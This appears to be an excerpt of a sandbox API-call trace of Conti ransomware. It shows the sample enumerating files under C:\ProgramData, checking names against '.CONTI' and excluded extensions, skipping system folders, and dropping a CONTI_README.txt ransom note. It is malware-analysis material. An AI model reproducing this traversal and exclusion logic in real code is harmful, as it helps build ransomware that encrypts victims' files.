	[0104.657] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.657] lstrlenW (lpString="print_property.ico") returned 18
	[0104.657] GetProcessHeap () returned 0x1720000
	[0104.658] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xca) returned 0x173bf30
	[0104.658] lstrcpyW (in: lpString1=0x173bf30, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.658] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="print_property.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"
	[0104.659] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="print_queue.ico", cAlternateFileName="")) returned 1
	[0104.659] lstrcmpiW (lpString1="print_queue.ico", lpString2=".") returned 1
	[0104.660] lstrcmpiW (lpString1="print_queue.ico", lpString2="..") returned 1
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch=".CONTI") returned 0x0
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch=".exe") returned 0x0
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch=".dll") returned 0x0
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch=".lnk") returned 0x0
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch=".sys") returned 0x0
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch=".CONTI") returned 0x0
	[0104.660] StrStrIW (lpFirst="print_queue.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.660] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.660] lstrlenW (lpString="print_queue.ico") returned 15
	[0104.660] GetProcessHeap () returned 0x1720000
	[0104.660] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc4) returned 0x181cd58
	[0104.660] lstrcpyW (in: lpString1=0x181cd58, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.660] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.660] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="print_queue.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"
	[0104.661] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="scan_.ico", cAlternateFileName="")) returned 1
	[0104.661] lstrcmpiW (lpString1="scan_.ico", lpString2=".") returned 1
	[0104.661] lstrcmpiW (lpString1="scan_.ico", lpString2="..") returned 1
	[0104.661] StrStrIW (lpFirst="scan_.ico", lpSrch=".CONTI") returned 0x0
	[0104.661] StrStrIW (lpFirst="scan_.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.662] StrStrIW (lpFirst="scan_.ico", lpSrch=".exe") returned 0x0
	[0104.662] StrStrIW (lpFirst="scan_.ico", lpSrch=".dll") returned 0x0
	[0104.662] StrStrIW (lpFirst="scan_.ico", lpSrch=".lnk") returned 0x0
	[0104.662] StrStrIW (lpFirst="scan_.ico", lpSrch=".sys") returned 0x0
	[0104.662] StrStrIW (lpFirst="scan_.ico", lpSrch=".CONTI") returned 0x0
	[0104.662] StrStrIW (lpFirst="scan_.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.662] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.662] lstrlenW (lpString="scan_.ico") returned 9
	[0104.662] GetProcessHeap () returned 0x1720000
	[0104.662] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0104.662] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.662] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.662] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="scan_.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"
	[0104.663] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="scan_property.ico", cAlternateFileName="")) returned 1
	[0104.663] lstrcmpiW (lpString1="scan_property.ico", lpString2=".") returned 1
	[0104.663] lstrcmpiW (lpString1="scan_property.ico", lpString2="..") returned 1
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch=".CONTI") returned 0x0
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch=".exe") returned 0x0
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch=".dll") returned 0x0
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch=".lnk") returned 0x0
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch=".sys") returned 0x0
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch=".CONTI") returned 0x0
	[0104.663] StrStrIW (lpFirst="scan_property.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.663] lstrlenW (lpString="scan_property.ico") returned 17
	[0104.663] GetProcessHeap () returned 0x1720000
	[0104.663] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc8) returned 0x181d648
	[0104.664] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="scan_property.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"
	[0104.665] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1
	[0104.665] lstrcmpiW (lpString1="scan_settings.ico", lpString2=".") returned 1
	[0104.665] lstrcmpiW (lpString1="scan_settings.ico", lpString2="..") returned 1
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch=".CONTI") returned 0x0
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch=".exe") returned 0x0
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch=".dll") returned 0x0
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch=".lnk") returned 0x0
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch=".sys") returned 0x0
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch=".CONTI") returned 0x0
	[0104.665] StrStrIW (lpFirst="scan_settings.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0104.665] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.665] lstrlenW (lpString="scan_settings.ico") returned 17
	[0104.665] GetProcessHeap () returned 0x1720000
	[0104.665] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc8) returned 0x181d238
	[0104.665] lstrcpyW (in: lpString1=0x181d238, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.665] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.666] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="scan_settings.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"
	[0104.667] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0104.667] lstrcmpiW (lpString1="tasks.xml", lpString2=".") returned 1
	[0104.667] lstrcmpiW (lpString1="tasks.xml", lpString2="..") returned 1
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch=".CONTI") returned 0x0
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch=".exe") returned 0x0
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch=".dll") returned 0x0
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch=".lnk") returned 0x0
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch=".sys") returned 0x0
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch=".CONTI") returned 0x0
	[0104.667] StrStrIW (lpFirst="tasks.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0104.667] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 81
	[0104.667] lstrlenW (lpString="tasks.xml") returned 9
	[0104.667] GetProcessHeap () returned 0x1720000
	[0104.667] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0104.667] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0104.667] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0104.667] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="tasks.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"
	[0104.669] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="tasks.xml", cAlternateFileName="")) returned 0
	[0104.669] GetProcessHeap () returned 0x1720000
	[0104.669] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0104.669] FindClose (in: hFindFile=0x17c7ff0 | out: hFindFile=0x17c7ff0) returned 1
	[0104.669] GetProcessHeap () returned 0x1720000
	[0104.669] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0104.669] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
	[0104.669] GetProcessHeap () returned 0x1720000
	[0104.669] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0780 | out: hHeap=0x1720000) returned 1
	[0104.669] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0104.669] GetProcessHeap () returned 0x1720000
	[0104.669] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1268 | out: hHeap=0x1720000) returned 1
	[0104.669] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Task", cAlternateFileName="")) returned 0
	[0104.669] GetProcessHeap () returned 0x1720000
	[0104.669] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17beec0 | out: hHeap=0x1720000) returned 1
	[0104.669] FindClose (in: hFindFile=0x17c8570 | out: hFindFile=0x17c8570) returned 1
	[0104.669] GetProcessHeap () returned 0x1720000
	[0104.669] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf180 | out: hHeap=0x1720000) returned 1
	[0104.669] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0104.669] lstrcmpiW (lpString1="DeviceSync", lpString2=".") returned 1
	[0104.669] lstrcmpiW (lpString1="DeviceSync", lpString2="..") returned 1
	[0104.669] lstrcmpiW (lpString1="DeviceSync", lpString2="tmp") returned -1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="winnt") returned -1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="Application Data") returned 1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="AppData") returned 1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="temp") returned -1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="thumb") returned -1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="$Recycle.Bin") returned 1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="$RECYCLE.BIN") returned 1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="System Volume Information") returned -1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="Program Files") returned -1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="Program Files (x86)") returned -1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="Boot") returned 1
	[0104.670] lstrcmpiW (lpString1="DeviceSync", lpString2="Windows") returned -1
	[0104.670] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0104.670] lstrlenW (lpString="DeviceSync") returned 10
	[0104.670] GetProcessHeap () returned 0x1720000
	[0104.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d3c8
	[0104.670] lstrcpyW (in: lpString1=0x173d3c8, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0104.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0104.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync"
	[0104.670] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DeviceSync") returned 35
	[0104.670] GetProcessHeap () returned 0x1720000
	[0104.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bed08
	[0104.670] lstrcpyW (in: lpString1=0x17bed08, lpString2="C:\\ProgramData\\Microsoft\\DeviceSync" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync"
	[0104.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\*"
	[0104.670] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DeviceSync") returned 35
	[0104.670] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.670] GetProcessHeap () returned 0x1720000
	[0104.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740550
	[0104.670] lstrcpyW (in: lpString1=0x1740550, lpString2="C:\\ProgramData\\Microsoft\\DeviceSync" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync"
	[0104.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync\\") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\"
	[0104.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\DeviceSync\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\CONTI_README.txt"
	[0104.670] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\devicesync\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0104.683] GetProcessHeap () returned 0x1720000
	[0104.683] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740550 | out: hHeap=0x1720000) returned 1
	[0104.684] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0104.684] CloseHandle (hObject=0x30c) returned 1
	[0104.684] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523bd9c6, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0104.685] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.685] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x523bd9c6, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.685] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.685] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.685] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523bd9c6, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523bd9c6, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x523bd9c6, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.685] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.685] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.685] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
